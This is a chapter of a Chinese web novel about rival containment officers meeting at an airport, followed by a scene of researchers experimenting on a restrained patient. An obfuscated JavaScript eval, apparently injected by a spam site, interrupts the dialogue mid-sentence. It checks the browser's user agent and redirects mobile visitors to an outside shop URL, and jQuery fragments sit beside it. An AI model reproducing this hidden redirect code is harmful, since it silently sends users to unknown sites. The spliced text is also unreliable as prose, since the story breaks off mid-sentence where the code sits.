“到了？”
机场人来人往，栖川凛站起身来。随着他起身，跟随他一同来接机的七、八个收容员都纷纷起立。
“到了到了。”这名负责在前方打探敌情的收容员说，“广播还在播呢。”
话音落下，机场广播又一次响起：迎接旅客的各位请注意，由华国首都飞来本站的HA2345次航班已经到达。
随着机场广播的两次通知，航班信息显示屏中，HA2345次航班状态变成了‘滑行中’。
没一会儿，航班状态从‘滑行中’变成了‘到达’，又从‘到达’更新为‘行李提取中’。
众人如临大敌，栖川凛赶紧整理自己的衣服。他今天特意穿了一身湛蓝色西服裤，这是当季最新款，今天早上才修改好尺寸送到栖川凛手上。
发型也是特意做的。
“没乱吧？”栖川凛用手掌抹了把发梢，把被啫喱泡得硬挺的头发往上推了推。
“没有没有。”手下拿出镜子朝向栖川凛，“队长，你放一万颗心吧，你肯定能把封比下去。”
栖川凛又用手指捏了捏头发，这才不放心地从镜面移开目光。
机场人来人往，等待途中，他不由得又想起了当年和封在训练营的时候：那个可恶的华国人每天把自己打扮得像是要参加什么走秀。国际收容组录取结果出来后，栖川凛怎么都无法理解自己竟然输给了那只花孔雀。
要知道他早上训练的时候，花孔雀在开屏，他下午训练的时候，花孔雀在开屏，晚上训练的时候，花孔雀还在开屏。
然后那只挨千刀的花孔雀还要跑到他面前阴阳怪气。
“啊。”栖川檩仍记得花孔雀的语气，“栖川凛，别不服气啊。虽然通过努力后，你的实力还是比我差那么一点，但颜值差的多啊，你要为国际收容组考虑，国际收容组也是需要门面担当的呀。”
栖川凛：“……”
每每想起都咬牙切齿。
“队长队长，那是不是封？”
旁边的收容员迟疑地伸手指了一下。
栖川凛顺着收容员手指的方向看去。
国际机场几乎每分钟都有航班到达，因此从出口走出的旅客络绎不绝。所谓是仇人见面分外眼红，栖川凛一眼就看到了那只该死的臭孔雀。
相较于三年前，这只臭孔雀仍然高调得令人咋舌。
他反扣一顶黑色鸭舌帽，脖子上戴着一条粗得能栓狗的古巴链。穿着一件版型挺阔的铆钉皮衣，裤边也镶着钉，在机场透亮的灯光下闪着刺人的光。
但这还不是最耀眼的，最让人难以忽视的是他夹在右臂下的一根拐杖，拐杖上用粉色荧光笔写着——帅哥驾到通通闪开。
R文。
栖川凛：“……”
其他收容员：“……”
隔着老远，这只臭孔雀也看见了栖川凛，压了压鼻梁上的墨镜，露出一双笑眯眯的桃花眼。
“栖川兄弟！！！”臭孔雀一点素质都没有，扯着嗓子雷霆一声，引得周围人不由抬头看他。
投去目光后就有些移不开了。
因为这只臭孔雀随即表演了一个‘单腿跳’节目，像只兔子一样，蹦跶地跳向了栖川凛。
没两步，一米九的巨型兔子停在栖川凛面前。
栖川凛：“……”
“嘶。”巨型兔子展开双臂，准备给栖川凛一个拥抱，却又突然停住，“你几天没洗头了？”
栖川凛：“……”
封季目光上下瞥了栖川凛一眼，把他的打扮尽收眼底。虽然没评价，可偏偏嘴角又荡出一个意味深长的笑。
栖川凛瞬间破防：“你什么意……”
其他收容员连忙去拉他。
按照收容约定，国际收容组拥有对各成员国收容局的监察权，一些时候还能有最高指挥权。换句话说，面前这只浮夸的巨型兔子是他们所有人的顶头上司。
更何况这个人还拥有‘首席收容官’的头衔，惹不起，惹不起。
“带了这么多人接机啊。”封季自然地把拐杖塞到栖川凛手里，“我好感动。对了，栖川队长，能帮我找个轮椅吗，这玩意儿太不舒服了。”
栖川凛这才去看封季的腿，注意到栖川凛的视线，封季把右腿裤脚撩起来，给他看缠绕在小腿上的绷带。
“实在不好意思，本来前几天就该到R国的，我人都上飞机了，临时接到一个任务，去处理了一下结果还受了点伤。”嘴上说着抱歉，封季脸上倒是没有任何歉意，“听说那天栖川队长也来接机了，还等了我一整天，抱歉抱歉，任务紧急，忘记通知你了。”
栖川凛说：“封队没事就好。”
一个收容员找来轮椅，封季一屁股坐下。
看那个收容员往他身后去，封季横出一条手臂：“这多不好意思，让栖川队长推我就行，我和栖川队长好久不见，正好聊一聊。”
收容员看了看栖川凛，封季歪着脑袋笑着说：“麻烦你了，栖川队长。”
栖川凛硬挤出一个笑：“不客气。”
正要把怀里的拐杖递给旁人，封季又开口：“三年没见了，也不知道送点什么好，我把拐杖送给你吧，上面有我的亲笔签名，你要好好收好哦栖川队长，最好别让人碰，签名容易花。”
栖川凛：“……”
栖川凛深吸了一口气，一边扛着拐杖一边推人。
“辛苦你了。”封季又说，“哎呀，国际收容组的人还是太少了，这几年通过选拔的收容员也越来越少了，这个任务本来落不到我头上，不然我也不会受伤。对了，我看栖川队长这几年没有再报名选拔了，怎么了？”
栖川凛咬着牙：“太忙了。”
“原来是这样。”封季点点头说，“我还担心是我把栖川队长的心气打没了。”
栖川凛：“……”
贱人！！！
车在机场外等着了，但哪怕车门就在咫尺，封大首席官还四平八稳地坐在轮椅上，那架势很明显，他要众人抬他上车。
好在栖川凛带的人多，几个人搭着手，把封大爷抬上了车。
栖川凛喘着气在封季身边坐下，他这一番折腾，头发都乱了。车辆刚开出几米，他还没来得及整理发型，就听到封季问：“栖川队长，咱们去哪？”
栖川凛说：“封队行程繁忙，我先陪同封队去科学院检查设备？”
封季笑了：“不急。”
他这句‘不急’听得栖川凛额头青筋一跳。
怎么可能不急，扫描仪探头能量超标后，国际收容组直接远程锁了设备，整个科学院一共就三台扫描仪，少一台仪器的运转，效率直接减半。
况且让国际收容组的人留在R国不是什么好事，尤其来的人还是封。他的上司可是从今天天不亮就一直在交代——早点把这尊大佛送走。
甚至还安排了送封季离开的专机，在封季抵达R国前，就已经停在了机场。
栖川凛试探着问：“封队是要先休息么？也可以，现在还早，封队休息好了，随时可以去检查。”
封季道：“只是设备能量超标而已，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579978|202187||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
小问题，用不着这么赶。”
说完他又指了下自己的腿，笑着说，“我这不是受伤了么，刚好歇口气。”
这意思要赖在R国了，栖川凛恨不得直接把他的腿打断：“是该好好养伤。”
顿了顿，栖川凛说，“我只是担心封队耽误太久的话，不好交差。”
“这有什么。”封季看向栖川凛，似笑非笑，“贵国已经提交了情况说明，我看过了，是栖川队长写的。别人写的情况说明，我还得质疑一下真实性，是栖川队长的话，还有什么可查证的，栖川队长又不会撒谎，怎么可能会在情况说明里造假呢，对吧。”
栖川凛笑了笑，吩咐司机：“去酒店吧。”
说完又对封季说，“封队，机场离酒店有些距离，您舟车劳顿，可以在车里睡一会儿。”
封季说：“那名误操作设备的新员工重新培训得怎么样了？”
栖川凛说：“误操作不是小事，经收容局慎重考虑，还是决定开除。”
“开除啊。”封季捻着‘开除’重复了两句，突然问，“那，当时接受检查的那名怪心病患者情况怎么样了？”
栖川凛正在捋袖子，闻言偏头看向封季。
汽车驶入桥洞，车内光线霎时昏暗。
“很遗憾。”栖川凛说，“我们没能控制住他心脏怪物的成长，三日前，病人离世了。”
桥洞有些长，车厢内是持续不止的暗色，彼此看不见彼此的神色。
封季：“后续工作做得怎么样了？”
栖川凛：“病人是孤儿，没有家属，考虑到污染性残留的隐患，收容局在今日早晨火化了遗体。”
终于驶出桥洞，光线刺得人睁不开眼。
砰——
又一盏射灯打开。
强光下，林也已经看不清周围的人了，视野里只剩下茫茫白曝光。
“放开我！”他被绑在操作椅上，浑身动弹不得，他就拼命地晃脑袋，有人伸出一只手，把他的脑袋死死地摁在操作椅上。
“我操你大爷！！放开我！”
胸口的创口被更大号的扩开器撑开，四、五个射灯把光线投入其中。
两、三名研究员将镊子伸入创口之中。
“我要杀了你们！”
“我要杀了你们，我不会放过你们的！”
林也什么也看不清，他只能放声大骂着，似乎这样才能让自己显得不那么弱小。
“嗯，成长状态正常，可以让它吃点别的东西了。”安娜的声音响起，“投入二区吧。”
“二……二区？”一个研究员不解地说，“20093的心脏怪物刚长到I期，投到二区的话……”
二区里的病人心脏怪物那都是已经成长到II期、III期的，除非像10012那样被单独保护起来，否则……谁吃谁还不好说。
“你信不信，如果把10012投到四区，他的心脏怪物早就成熟了，就算没有成熟，科学院也能从‘全知’口中获知更多的东西。”安娜说，“现在的局面，不都是因为邶和教授舍不得‘全知’么。”
“可万一……”
“收益和风险是成正比的。”安娜笑着说，“不然我也不会知道20093的怪物能力了，不是吗？”
“……”
“通知收容员吧。”安娜取下扩开器，随后拿出一张卡片，放在林也的胸口。
一张粉色的卡片。
上面写着——希望能再见，期待再见。
那时的你，和你的心脏怪物，一定更迷人。